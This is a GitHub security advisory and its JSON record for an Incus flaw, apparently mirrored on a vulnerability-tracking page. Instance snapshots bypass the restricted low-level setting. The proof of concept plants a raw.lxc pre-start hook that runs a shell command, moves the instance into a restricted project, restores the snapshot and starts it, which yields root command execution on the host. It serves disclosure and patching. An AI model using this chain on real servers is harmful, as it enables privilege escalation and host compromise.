GHSA-48Q5-W887-33WV
Vulnerability from github – Published: 2026-06-26 18:33 – Updated: 2026-06-26 18:33
VLAI
Summary
Incus has a restricted project bypass leading to arbitrary command execution
Details
Summary
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
Details
Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.
As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.
PoC
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
Impact
- Bypass of project restrictions.
- Arbitrary command execution on the Incus server.
Severity
9.9 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/incus/v7/cmd/incusd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48751"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T18:33:55Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\n\n### Details\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\nAs snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.\n\nIn practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.\n\n\n### PoC\n\n```\n# remote, restricted\nincus project set rem:project restricted.true\nincus project set rem:project restricted.containers.lowlevel=block\n\n# locally, unrestricted project\nincus init images:debian/trixie rce-raw-lxc\nincus config set rce-raw-lxc raw.lxc=\u0027lxc.hook.pre-start = /bin/sh -c \"/bin/id \u003e/lxc-hook-prestart\"\u0027\nincus snapshot create rce-raw-lxc snap0\n#\u003e allow transfer to restricted project\nincus config unset rce-raw-lxc raw.lxc\n\n# locally, transfer and trigger\nincus move rce-raw-lxc rem: --mode push\nincus snapshot restore rem:rce-raw-lxc snap0\nincus start rem:rce-raw-lxc\n```\n\n\n### Impact\n\n- Bypass of project restrictions.\n- Arbitrary command execution on the Incus server.",
"id": "GHSA-48q5-w887-33wv",
"modified": "2026-06-26T18:33:56Z",
"published": "2026-06-26T18:33:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv"
},
{
"type": "PACKAGE",
"url": "https://github.com/lxc/incus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Incus has a restricted project bypass leading to arbitrary command execution"
}
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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
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- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
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- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
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